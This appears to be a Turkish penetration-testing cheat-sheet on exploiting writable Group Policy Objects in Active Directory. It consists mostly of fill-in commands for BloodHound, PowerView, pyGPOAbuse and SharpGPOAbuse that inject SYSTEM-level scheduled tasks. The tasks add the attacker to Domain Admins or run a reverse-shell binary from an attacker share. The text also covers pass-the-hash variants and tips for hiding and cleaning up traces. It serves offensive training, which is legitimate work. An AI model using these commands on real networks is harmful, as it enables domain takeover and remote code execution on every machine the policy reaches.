FOOTHOLD Metodoloji Cheat-sheet
Lateral ✓ EXAM-SAFE orta :135:139:389:445

GPO Abuse - Yazılabilir Group Policy ile Kod Çalıştırma (SharpGPOAbuse / pyGPOAbuse)

Bir GPO üzerinde yazma (WriteProperty/WriteDacl/GenericWrite) hakkınız varsa, GPO'ya bir Immediate Scheduled Task veya logon/startup script enjekte edersiniz. GPO'nun bağlı olduğu (linked) tüm OU'lardaki bilgisayar/kullanıcılar policy yenilenince payload'u çalıştırır; computer-side task SYSTEM olarak koşar.

Bilgi: ÖN KOŞULLAR
  • Bir GPO nesnesi üzerinde yazma hakkı (GenericWrite/WriteProperty/WriteDacl/Owns) - BloodHound 'GPO' edge ile bulunur
  • GPO'nun en az bir OU/site/domain'e link edilmiş olması (etkileyeceği hedefleri belirler)
  • SYSVOL'e (\\{{DOMAIN}}\SYSVOL) yazma erişimi - GPO dosyaları burada saklanır
  • Domain kullanıcı kimlik bilgileri (USER/PASS veya NTHASH)
┌──

Komutlar

bloodhound-python ✓ EXAM-SAFE user
bloodhound-python -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -dc {{DC_HOST}} -ns {{DC_IP}} -c All
BloodHound verisi topla; 'GenericWrite/WriteDacl on GPO' ve GPO->OU link edge'lerini ara BloodHound.py wiki - GPO abuse path
netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -M maq && nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --gmsa
LDAP üzerinden enum (GPO ACL'leri için PowerView/BloodHound tercih edilir) NetExec wiki - LDAP modules
powerview ✓ EXAM-SAFE user
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite|WriteDacl' }
Windows tarafında PowerView ile üzerinde yazma hakkınız olan GPO'ları bul HackTricks - GPO Abuse (PowerView enum)
powerview ✓ EXAM-SAFE user
Get-DomainOU | Get-DomainComputer -SearchBase $_.distinguishedname; Get-DomainGPO -Identity "{GPO-GUID}" | select gplink,displayname
GPO'nun hangi OU'lara link olduğunu ve etki edeceği bilgisayarları tespit et HackTricks - GPO Abuse (gplink enum)
pygpoabuse ✓ EXAM-SAFE user
python3 pygpoabuse.py {{DOMAIN}}/{{USER}}:{{PASS}} -gpo-id "{GPO-GUID}" -command "net group 'Domain Admins' {{USER}} /add /domain" -taskname "Update" -description "benign"
Linux'tan: yazılabilir GPO'ya computer-side Immediate Scheduled Task (SYSTEM) enjekte et pygpoabuse (Hackndo) - GitHub README
pygpoabuse ✓ EXAM-SAFE user
python3 pygpoabuse.py {{DOMAIN}}/{{USER}} -hashes :{{NTHASH}} -gpo-id "{GPO-GUID}" -command "{{LHOST}}\share\rev.exe" -user
Pass-the-Hash ile, user-side (kullanıcı bağlamı) task enjekte et (-user switch) pygpoabuse - GitHub README (pth & user task)
SharpGPOAbuse ✓ EXAM-SAFE user
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author {{DOMAIN}}\{{USER}} --Command "cmd.exe" --Arguments "/c net group 'Domain Admins' {{USER}} /add /domain" --GPOName "VulnerableGPO"
Windows tarafında: GPO'ya SYSTEM olarak çalışacak Immediate Computer Task ekle HackTricks - SharpGPOAbuse AddComputerTask
SharpGPOAbuse ✓ EXAM-SAFE user
SharpGPOAbuse.exe --AddUserTask --TaskName "Update" --Author {{DOMAIN}}\{{USER}} --Command "cmd.exe" --Arguments "/c {{LHOST}}\share\rev.exe" --GPOName "VulnerableGPO"
Kullanıcı bağlamında çalışacak task ekle (oturum açan kullanıcı yetkisiyle) HackTricks - SharpGPOAbuse AddUserTask
powershell ✓ EXAM-SAFE user
New-GPOImmediateTask -TaskName Update -GPODisplayName "VulnerableGPO" -CommandArguments '-c "net group ..."' -Force
PowerView New-GPOImmediateTask ile ScheduledTasks.xml enjeksiyonu (alternatif) PowerSploit/PowerView - New-GPOImmediateTask
gpupdate ✓ EXAM-SAFE user
gpupdate /force
Hedef makinede policy yenilemeyi zorla (normalde ~90 dk içinde otomatik olur) Microsoft Docs - gpupdate
netexec ✓ EXAM-SAFE user
nxc smb {{DC_IP}} -u {{USER}} -H {{NTHASH}} -x "net group 'Domain Admins'"
Sonuç doğrulama: payload çalıştı mı / kullanıcı eklendi mi NetExec wiki - SMB exec

GPO Abuse Mantığı

Group Policy Objects (GPO), bilgisayar ve kullanıcılara merkezi olarak ayar/script dağıtır. GPO dosyaları SYSVOL (\\{{DOMAIN}}\SYSVOL\{{DOMAIN}}\Policies\{GUID}) içinde tutulur. Eğer bir GPO nesnesi üzerinde WriteProperty / GenericWrite / WriteDacl / Owns hakkınız varsa, GPO içeriğine bir Immediate Scheduled Task veya logon/startup script ekleyebilirsiniz. GPO’nun linked olduğu OU/site/domain altındaki tüm hedefler, policy yenilenince (varsayılan ~90 dk + rastgele offset, ya da gpupdate /force) bu payload’u çalıştırır. Computer-side task’lar SYSTEM olarak koşar - bu yüzden bu teknik hem lateral movement hem privesc’tir.

İlk adım iki şeyi bulmaktır: (a) üzerinde yazma hakkınız olan bir GPO, (b) o GPO’nun etkilediği makineler. BloodHound bunu GenericWrite/WriteDacl on GPO edge’i ve GPLink ilişkisiyle gösterir - ‘Find GPO that affect computers’ gibi cypher sorguları idealdir. PowerView ile Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs çıktısında kendi SID’inizi arayın. GPO’nun GUID’ini ve hangi OU’lara link olduğunu (gplink) not edin - yüksek değerli (örn. DC’leri ya da yönetici workstationlarını içeren) bir OU’yu hedefleyin.

2. Payload Türünü Seç

  • AddComputerTask (Immediate Task, SYSTEM): En güçlüsü. GPO computer config’ine ScheduledTasks.xml ekler; hedef makineler SYSTEM olarak komutu çalıştırır. Domain Admins’e kullanıcı ekleme veya reverse shell için idealdir.
  • AddUserTask: Kullanıcı config’ine task ekler; oturum açan kullanıcı bağlamında çalışır (daha az ayrıcalıklı ama gizli).
  • Logon/Startup script: GptTmpl/Scripts.ini yoluyla benzer etki.

3. Enjeksiyon

Linux’tan (pyGPOAbuse): python3 pygpoabuse.py {{DOMAIN}}/{{USER}}:{{PASS}} -gpo-id "{GUID}" -command "...". Varsayılan computer task ekler; -user ile user task’a geçer; -hashes :{{NTHASH}} ile PtH yapar. Tool SYSVOL’deki gPCMachineExtensionNames ve versionNumber’ı otomatik günceller. Windows’tan (SharpGPOAbuse): --AddComputerTask / --AddUserTask ile aynı sonucu verir. PowerView New-GPOImmediateTask da bir alternatiftir.

4. Tetikleme ve Sonuç

Policy yenilenmesini bekleyin ya da hedefe erişiminiz varsa gpupdate /force çalıştırın. Computer task SYSTEM olarak koştuğunda payload çalışır. nxc smb {{DC_IP}} -u {{USER}} -H {{NTHASH}} -x "net group 'Domain Admins'" ile doğrulayın.

Gotchas

  • versionNumber / extensionNames: Manuel XML enjekte ederseniz GPO version sayacını ve gPCMachineExtensionNames GUID’ini güncellemelisiniz, yoksa client policy’yi tekrar işlemez. pyGPOAbuse/SharpGPOAbuse bunu otomatik yapar.
  • Etki alanı: Task GPO’ya bağlı tüm makinelerde çalışır - DC’lere link bir GPO’ya yazıyorsanız etkisi domain genelinde olabilir; OPSEC açısından dikkat ve link kapsamını önceden doğrulayın.
  • Immediate Task vs zamanlanmış: ‘Immediate’ task bir kez çalışıp kendini siler; gizliliği artırır ama tetiklenme yine de gpupdate aralığına bağlıdır.
  • Temizlik: ScheduledTasks.xml / script dosyalarını SYSVOL’den kaldırın ve version sayacını eski haline getirin.
┌──

Kaynaklar

0/15 set